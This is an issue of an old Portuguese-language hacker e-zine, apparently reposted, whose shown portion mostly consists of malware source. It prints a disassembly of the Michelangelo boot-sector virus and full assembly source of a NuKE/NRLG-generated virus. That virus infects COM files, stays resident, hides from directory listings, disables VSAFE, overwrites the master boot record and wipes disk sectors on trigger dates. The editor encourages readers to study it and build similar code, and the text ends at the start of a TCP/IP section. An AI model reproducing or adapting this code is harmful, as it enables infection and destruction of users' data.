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 · 27 Apr 2023

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HíΩk & ÁhrâÑk ZinE

áÊ: ≈ FÊná0í ≈

BoM..Aqui estou eu denovo!! eheh escrevendo o segundo numero do AlErt. Como ja disse anteriormente esse zine Ç mais tecnico, ou seja, eu vou "tentar" explicar como fazer a arte hacking fluir!! eheh... Çh muito PhoDa escrever um ZINE, pela "falta" de materia, pela falta de "apoio".. a hlera reclama, reclama e reclama mais gosta de ler um bOm zine, onde existem informacoes novas etc. mais soh que, vamos supor, 100000 de pessoas usam computadores no BRASIL, 70000 dessas 100000 pessoas nao sabem o que Ç hacker, cracker etc... e 29000 pessoas sao lamers, beginners, ETC...ou seja, sobram 1000 pessoas que tem um conhecimento rasoavel... entao que qui adianta eu escrever materias avancadas c soh 1000 pessoas vao saber do que eu estou falando??
pensem........ FuCk USA!!!

Obs.: TENTE, INVENTE, HACKEIE DIFERENTE.

Para algumas belas. E para todas as feras!!! ( bah!! falei bonito!!hehe:)=

INDICE

  1. Virus
    • List do virus Michelangello
    • ASM de um virus feito em [NuKe]

  2. Hacking
    • Protocolo de TCP/IP

  3. Trojans e seus "amigos"
    • O que sao???
    • Trojan em C

  4. Phreaking
    • Escuta

  5. IRC
    • O que Ç??
    • O que fazer em IRC, bla bla bla!!

  6. Cracking
    • Como usar o craker Jack

  7. Anarchy
    • "MiNa" CaSeIra!!
    • BoMbAz, BoMbAz, BoMbAz!!!

  8. NEWS Hacker
    • Ahh sei lah!!! olha la!! eheheh

  9. Agradecimentos!!

1- VIRUS

Bah!! Como eu disse no primeiro zine!! aqui vai o LST do virus Michelangello. e tb vou por um ASM de um virus connhecido ae!! :-) bah!! vou por as informacoes gerais do virus como no primeiro!!

SOBRE O VIRUS: Michelangello

Este virus do setor de inicializacao possui 512 bytes.
Infecta o setor de inicializacao de discos flexiveis e a tabela de particoes de discos rigidos
Permanece residente na memoria :)- hehe
Os efeitos colaterais incluem danificar a ligacao entre arquivos, alteracao no funcionamento do sistema, e alteracoes no setor de inicializacao.

      michelan.lst    listagem do virus michelangelo	 Sourcer Listing v1.70        8-May-93	 12:51 pm       Page 1 


PAGE 60,132

;€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
;€€ €€
;€€ MICHELAN €€
;€€ €€
;€€ Created: 8-May-93 €€
;€€ €€
;€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€

.286c

= 004C DATA_1E EQU 4CH ; (0000:004C=94CH)
= 004E DATA_2E EQU 4EH ; (0000:004E=2427H)
= 0413 DATA_3E EQU 413H ; (0000:0413=280H)
= 7C05 DATA_4E EQU 7C05H ; (0000:7C05=7259H)
= 7C0A DATA_5E EQU 7C0AH ; (0000:7C0A=5BAH)
= 7C0C DATA_6E EQU 7C0CH ; (0000:7C0C=4942H)
= 0007 DATA_7E EQU 7 ; (8595:0007=0)
= 0008 DATA_8E EQU 8 ; (8595:0008=0)
= 000A DATA_9E EQU 0AH ; (8595:000A=0)
= 7C03 DATA_12E EQU 7C03H ; (8595:7C03=0)

CODESEG SEGMENT
ASSUME CS:CODESEG, DS:CODESEG


ORG 100h

michelan PROC FAR

8595:0100 start:
8595:0100 E9 00AC JMP LOC_6
8595:0103 F5 00 40 9F 02 03 DB 0F5H, 0, 40H, 9FH, 2, 3
8595:0109 00 59 EC 00 F0 1E DB 0, 59H, 0ECH, 0, 0F0H, 1EH
8595:010F 50 0A D2 75 1B 33 DB 50H, 0AH, 0D2H, 75H, 1BH, 33H
8595:0115 C0 8E D8 F6 06 3F DB 0C0H, 8EH, 0D8H, 0F6H, 6, 3FH
8595:011B 04 01 75 10 58 1F DB 4, 1, 75H, 10H, 58H, 1FH
8595:0121 9C 2E FF 1E 0A 00 DB 9CH, 2EH, 0FFH, 1EH, 0AH, 0
8595:0127 9C E8 0B 00 9D CA DB 9CH, 0E8H, 0BH, 0, 9DH, 0CAH
8595:012D 02 00 58 1F 2E FF DB 2, 0, 58H, 1FH, 2EH, 0FFH
8595:0133 2E 0A 00 50 53 51 DB 2EH, 0AH, 0, 50H, 53H, 51H
8595:0139 52 1E 06 56 57 0E DB 52H, 1EH, 6, 56H, 57H, 0EH
8595:013F 1F 0E 07 BE 04 00 DB 1FH, 0EH, 7, 0BEH, 4, 0
8595:0145 LOC_1: ; xref 8595:015F
8595:0145 B8 0201 MOV AX,201H
8595:0148 BB 0200 MOV BX,200H
8595:014B B9 0001 MOV CX,1
8595:014E 33 D2 XOR DX,DX ; Zero register
8595:0150 9C PUSHF ; Push flags
8595:0151 FF 1E 000A CALL DWORD PTR DS:DATA_9E ; (8595:000A=0)
8595:0155 73 0C JNC LOC_2 ; Jump if carry=0
8595:0157 33 C0 XOR AX,AX ; Zero register
8595:0159 9C PUSHF ; Push flags
8595:015A FF 1E 000A CALL DWORD PTR DS:DATA_9E ; (8595:000A=0)
8595:015E 4E DEC SI
8595:015F 75 E4 JNZ LOC_1 ; Jump if not zero
michelan.lst listagem do virus mechelangelo Sourcer Listing v1.70 8-May-93 12:51 pm Page 2

8595:0161 EB 43 JMP SHORT LOC_5
8595:0163 LOC_2: ; xref 8595:0155
8595:0163 33 F6 XOR SI,SI ; Zero register
8595:0165 FC CLD ; Clear direction
8595:0166 AD LODSW ; String [si] to ax
8595:0167 3B 07 CMP AX,[BX]
8595:0169 75 06 JNE LOC_3 ; Jump if not equal
8595:016B AD LODSW ; String [si] to ax
8595:016C 3B 47 02 CMP AX,[BX+2]
8595:016F 74 35 JE LOC_5 ; Jump if equal
8595:0171 LOC_3: ; xref 8595:0169
8595:0171 B8 0301 MOV AX,301H
8595:0174 B6 01 MOV DH,1
8595:0176 B1 03 MOV CL,3
8595:0178 80 7F 15 FD CMP BYTE PTR [BX+15H],0FDH
8595:017C 74 02 JE LOC_4 ; Jump if equal
8595:017E B1 0E MOV CL,0EH
8595:0180 LOC_4: ; xref 8595:017C
8595:0180 89 0E 0008 MOV DS:DATA_8E,CX ; (8595:0008=0)
8595:0184 9C PUSHF ; Push flags
8595:0185 FF 1E 000A CALL DWORD PTR DS:DATA_9E ; (8595:000A=0)
8595:0189 72 1B JC LOC_5 ; Jump if carry Set
8595:018B BE 03BE MOV SI,3BEH
8595:018E BF 01BE MOV DI,1BEH
8595:0191 B9 0021 MOV CX,21H
8595:0194 FC CLD ; Clear direction
8595:0195 F3/A5 REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
8595:0197 B8 0301 MOV AX,301H
8595:019A 33 DB XOR BX,BX ; Zero register
8595:019C B9 0001 MOV CX,1
8595:019F 33 D2 XOR DX,DX ; Zero register
8595:01A1 9C PUSHF ; Push flags
8595:01A2 FF 1E 000A CALL DWORD PTR DS:DATA_9E ; (8595:000A=0)
8595:01A6 LOC_5: ; xref 8595:0161, 016F, 0189
8595:01A6 5F POP DI
8595:01A7 5E POP SI
8595:01A8 07 POP ES
8595:01A9 1F POP DS
8595:01AA 5A POP DX
8595:01AB 59 POP CX
8595:01AC 5B POP BX
8595:01AD 58 POP AX
8595:01AE C3 RET
8595:01AF LOC_6: ; xref 8595:0100
8595:01AF 33 C0 XOR AX,AX ; Zero register
8595:01B1 8E D8 MOV DS,AX
8595:01B3 FA CLI ; Disable interrupts
8595:01B4 8E D0 MOV SS,AX
8595:01B6 B8 7C00 MOV AX,7C00H
8595:01B9 8B E0 MOV SP,AX
8595:01BB FB STI ; Enable interrupts
8595:01BC 1E PUSH DS
8595:01BD 50 PUSH AX
8595:01BE A1 004C MOV AX,DS:DATA_1E ; (0000:004C=94CH)
8595:01C1 A3 7C0A MOV DS:DATA_5E,AX ; (0000:7C0A=5BAH)
8595:01C4 A1 004E MOV AX,DS:DATA_2E ; (0000:004E=2427H)
8595:01C7 A3 7C0C MOV DS:DATA_6E,AX ; (0000:7C0C=4942H)
8595:01CA A1 0413 MOV AX,DS:DATA_3E ; (0000:0413=280H)
michelan.lst listagem do virus mechelangelo Sourcer Listing v1.70 8-May-93 12:51 pm Page 3

8595:01CD 48 DEC AX
8595:01CE 48 DEC AX
8595:01CF A3 0413 MOV DS:DATA_3E,AX ; (0000:0413=280H)
8595:01D2 B1 06 MOV CL,6
8595:01D4 D3 E0 SHL AX,CL ; Shift w/zeros fill
8595:01D6 8E C0 MOV ES,AX
8595:01D8 A3 7C05 MOV DS:DATA_4E,AX ; (0000:7C05=7259H)
8595:01DB B8 000E MOV AX,0EH
8595:01DE A3 004C MOV DS:DATA_1E,AX ; (0000:004C=94CH)
8595:01E1 8C 06 004E MOV DS:DATA_2E,ES ; (0000:004E=2427H)
8595:01E5 B9 01BE MOV CX,1BEH
8595:01E8 BE 7C00 MOV SI,7C00H
8595:01EB 33 FF XOR DI,DI ; Zero register
8595:01ED FC CLD ; Clear direction
8595:01EE F3/A4 REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
8595:01F0 2E:FF 2E 7C03 JMP DWORD PTR CS:DATA_12E ; (8595:7C03=0)
8595:01F5 33 C0 8E C0 CD 13 DB 33H, 0C0H, 8EH, 0C0H, 0CDH, 13H
8595:01FB 0E 1F B8 01 02 BB DB 0EH, 1FH, 0B8H, 1, 2, 0BBH
8595:0201 00 7C 8B 0E 08 00 DB 0, 7CH, 8BH, 0EH, 8, 0
8595:0207 83 F9 07 75 07 BA DB 83H, 0F9H, 7, 75H, 7, 0BAH
8595:020D 80 00 CD 13 EB 2B DB 80H, 0, 0CDH, 13H, 0EBH, 2BH
8595:0213 8B 0E 08 00 BA 00 DB 8BH, 0EH, 8, 0, 0BAH, 0
8595:0219 01 CD 13 72 20 0E DB 1, 0CDH, 13H, 72H, 20H, 0EH
8595:021F 07 B8 01 02 BB 00 DB 7, 0B8H, 1, 2, 0BBH, 0
8595:0225 02 B9 01 00 BA 80 DB 2, 0B9H, 1, 0, 0BAH, 80H
8595:022B 00 CD 13 72 0E 33 DB 0, 0CDH, 13H, 72H, 0EH, 33H
8595:0231 F6 FC AD 3B 07 75 DB 0F6H, 0FCH, 0ADH, 3BH, 7, 75H
8595:0237 4F AD 3B 47 02 DB 4FH, 0ADH, 3BH, 47H, 2
8595:023C 75 49 DB 75H, 49H
8595:023E LOC_7: ; xref 8595:0296
8595:023E 33 C9 XOR CX,CX ; Zero register
8595:0240 B4 04 MOV AH,4
8595:0242 CD 1A INT 1AH ; Real time clock ah=func 04h
; read date cx=year, dx=mon/day
8595:0244 81 FA 0306 CMP DX,306H
8595:0248 74 01 JE LOC_8 ; Jump if equal
8595:024A CB RET ; Return far
8595:024B LOC_8: ; xref 8595:0248
8595:024B 33 D2 XOR DX,DX ; Zero register
8595:024D B9 0001 MOV CX,1
8595:0250 LOC_9: ; xref 8595:027F, 0285
8595:0250 B8 0309 MOV AX,309H
8595:0253 8B 36 0008 MOV SI,DS:DATA_8E ; (8595:0008=0)
8595:0257 83 FE 03 CMP SI,3
8595:025A 74 10 JE LOC_10 ; Jump if equal
8595:025C B0 0E MOV AL,0EH
8595:025E 83 FE 0E CMP SI,0EH
8595:0261 74 09 JE LOC_10 ; Jump if equal
8595:0263 B2 80 MOV DL,80H
8595:0265 C6 06 0007 04 MOV BYTE PTR DS:DATA_7E,4 ; (8595:0007=0)
8595:026A B0 11 MOV AL,11H
8595:026C LOC_10: ; xref 8595:025A, 0261
8595:026C BB 5000 MOV BX,5000H
8595:026F 8E C3 MOV ES,BX
8595:0271 CD 13 INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
8595:0273 73 04 JNC LOC_11 ; Jump if carry=0
8595:0275 32 E4 XOR AH,AH ; Zero register
michelan.lst listagem do virus mechelangelo Sourcer Listing v1.70 8-May-93 12:51 pm Page 4

8595:0277 CD 13 INT 13H ; Disk dl=drive a: ah=func 00h
; reset disk, al=return status
8595:0279 LOC_11: ; xref 8595:0273
8595:0279 FE C6 INC DH
8595:027B 3A 36 0007 CMP DH,DS:DATA_7E ; (8595:0007=0)
8595:027F 72 CF JB LOC_9 ; Jump if below
8595:0281 32 F6 XOR DH,DH ; Zero register
8595:0283 FE C5 INC CH
8595:0285 EB C9 JMP SHORT LOC_9
8595:0287 LOC_12:
8595:0287 B9 0007 MOV CX,7
8595:028A 89 0E 0008 MOV DS:DATA_8E,CX ; (8595:0008=0)
8595:028E B8 0301 MOV AX,301H
8595:0291 BA 0080 MOV DX,80H
8595:0294 CD 13 INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
8595:0296 72 A6 JC LOC_7 ; Jump if carry Set
8595:0298 BE 03BE MOV SI,3BEH
8595:029B BF 01BE MOV DI,1BEH
8595:029E B9 0021 MOV CX,21H
8595:02A1 F3/A5 REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
8595:02A3 B8 0301 MOV AX,301H
8595:02A6 33 DB XOR BX,BX ; Zero register
8595:02A8 FE C1 INC CL
8595:02AA CD 13 INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
8595:02AC EB 04 JMP SHORT LOC_13
8595:02AE 32 01 DB 32H, 1
8595:02B0 000E[00] DB 14 DUP (0)
8595:02BE 49 42 4D 42 49 4F DB 'IBMBIO COMIBMDOS COM'
8595:02C4 20 20 43 4F 4D 49
8595:02CA 42 4D 44 4F 53 20
8595:02D0 20 43 4F 4D
8595:02D4 0028[00] DB 40 DUP (0)
8595:02FC 57 13 55 AA DB 57H, 13H, 55H, 0AAH

michelan ENDP

CODESEG ENDS



END START

Para quem gosta de virus aqui vai um ASM de um virus feito pelo NRLG [NUKE].

Nota: Esse virii qquer Anti-Virus detecta... (intaum compilar ele, seria pura perda de tempo) Intaum p/ quem gosta de virii ou ASSEMBLY da um l00k no source e tenta faze algo parecido!! ou ate quem sabe fazer um proGz tipo o NRLG que cria um .ASM e tb compilar. bah!!

__________________________________________________\/____________________________ 

;⁄ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒø
;≥ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ≥ [NuKE] PoWeR
;≥ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ≥ [NuKE] WaReZ
;≥ auToR: aLL [NuKE] MeMeBeRS ≥ [NuKE] PoWeR
;≥ [NuKE] THe ReaL PoWeR! ≥ [NuKE] WaReZ
;≥ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ≥ [NuKE] PoWeR
;¿ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒŸ

.286
code segment
assume cs:code,ds:code
org 100h

start: CALL NEXT

NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************

cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------

ˇadd byte ptr [di],0fh
inc byte ptr [di]
add byte ptr [di],0cdh
sub word ptr [di],0cb9bh
inc byte ptr [di]
add word ptr [di],0163bh
add word ptr [di],02ca9h
add word ptr [di],03877h
sub word ptr [di],079ach
not byte ptr [di]
add word ptr [di],0fbf3h
inc byte ptr [di]
inc word ptr [di]
add word ptr [di],0cd9h
inc byte ptr [di]
add word ptr [di],0bd67h
sub word ptr [di],03df2h
ˇinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************

ˇcall MBR
call TRASH_RN
call ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************

mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;

ˇadd word ptr [di],03df2h
sub word ptr [di],0bd67h
dec byte ptr [di]
sub word ptr [di],0cd9h
dec word ptr [di]
dec byte ptr [di]
sub word ptr [di],0fbf3h
not byte ptr [di]
add word ptr [di],079ach
sub word ptr [di],03877h
sub word ptr [di],02ca9h
sub word ptr [di],0163bh
dec byte ptr [di]
add word ptr [di],0cb9bh
sub byte ptr [di],0cdh
dec byte ptr [di]
sub byte ptr [di],0fh
ˇinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag

;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?

ˇ;---------------------------------
action: ;
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov ah,0dh ;
int 21h ;reset disk
mov al,2 ;
mov cx,0ffffh ;
mov dx,0 ;
int 26h ;fuck ffffh sector
mov ah,0dh ;reste disk
int 21h ;
mov al,2 ;
mov cx,0ffffh ;
mov dx,0ffffh ;new fuck+
int 26h ;heheheh!!!
NO_DAY: ;
ret ;
;---------------------------------
ˇMBR:
;**************************************
; Start of MBR-BOMB writing
;**************************************
mov ax,9f80h ;very high memory
mov es,ax ;good for buffer
mov ax,0201h ;read the original
mov cx,0001h ;MBR of the disk
mov dx,0080h ;
xor bx,bx ;to buffer 9f80:0000h
int 13h ;
push cs ;
pop ds ;
mov ax,9f80h ;add my MBR-BOMB
mov es,ax ;to real MBR in my
mov si,offset fat ;buffer
xor di,di ;
mov cx,105 ;ds:[fat]=>9f80:0000h
repe movsb ;total 105bytes
mov ax,9f80h ;
mov es,ax ;
xor bx,bx ;replace the original
mov ax,0301h ;MBR in the disk by the
xor ch,ch ;new MBR-BOMB.
mov dx,0080h ;
mov cl,1 ;WARNING! VSAFE/MSAVE
mov bx,0 ;NOTIFY THIS ACTION
int 13h ;
ret ;
;---------------------------------------------------
;*********************
; Start of MBR code
;*********************
fat: ;
cli ;#
xor ax,ax ;#
mov ss,ax ;#
mov sp,7C00h ;#
mov si,sp ;#
push ax ;#
pop es ;#
push ax ;#
pop ds ;#
sti ;#
;#
pushf ;#
push ax ;#
push cx ;# = This code be in the
push dx ;# original MBR
push ds ;# (NOT MODIFY)
push es ;#
MOV AH,04H ; Read real tyme
INT 1AH ; Clock
CMP DH,cs:byte ptr action_mes ; is Month?
JE CAGO ; yes! SNIF SNIF HD.
lit:
pop es
pop ds
pop dx
pop cx
pop ax
popf
jmp booti
CAGO:
;++++++++++++++++++++++++++++++++++++++++++++++++++++
; START OF YOUR DESTRUCTIVE CODE (or not destructive)
;++++++++++++++++++++++++++++++++++++++++++++++++++++

rip_hd:
;@
xor dx, dx ;@
rip_hd1: ;@
mov cx, 2 ;@
mov ax, 311h ;@
mov dl, 80h ;@
mov bx, 5000h ;@
mov es, bx ;@
int 13h ;@
jae rip_hd2 ;@
xor ah, ah ;@
int 13h ;@
rip_hd2: ;@
inc dh ;@
cmp dh, 4 ;@
jb rip_hd1 ;@
inc ch ;@
jmp rip_hd

;+++++++++++++++++++++++++++++++++++++++++++
; END OF YOUR DESTRUCUTIVE CODE
;+++++++++++++++++++++++++++++++++++++++++++
booti:
xor ax,ax ;#
mov es,ax ;#
mov bx,7c00h ;#
mov ah,02 ;#
mov al,1 ;#
mov cl,1 ;# #= This code be
mov ch,0 ;# in the original
mov dh,1 ;# MBR
mov dl,80h ;# (NOT MODIFY)
;#
int 13h ;#
;#
db 0eah,00,7ch,00,00 ;#
;*******************
; END OF MBR CODE
;*******************

ˇ;---------------------------------
TRASH_RN: ;
MOV AH,2DH ;
INT 21H ;get date
CMP Dl,6 ;is =6 (RAN 0-99)
jne NO_DAYY ;nop! fuck ret
mov ah,0dh ;
int 21h ;reset disk
mov al,2 ;
mov cx,0ffffh ;
mov dx,0 ;
int 26h ;fuck ffffh sector
mov ah,0dh ;reste disk
int 21h ;
mov al,2 ;
mov cx,0ffffh ;
mov dx,0ffffh ;new fuck+
int 26h ;heheheh!!!
NO_DAYY: ;
ret ;
;---------------------------------
ˇ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------

ˇ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************

ˇaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start

2- Hacking

Protocolo TCP/IP

Para hackear um sistema ligado a internet/intranet ou ate mesmo um uma simples rede que utiliza o tcp/ip, nada melhor do que saber lidar a fundo com o protocolo mais usado e mais famoso no mundo inteiro.


TCP/IP

TCP/IP e o nome que se da a toda a familia de protocolos utilizados pela Internet. Esta familia de protocolos foi desenvolvida pela DARPA (Defense Advanced Research Project Agency) no DoD (Departamento de Defensa dos Estados Unidos).

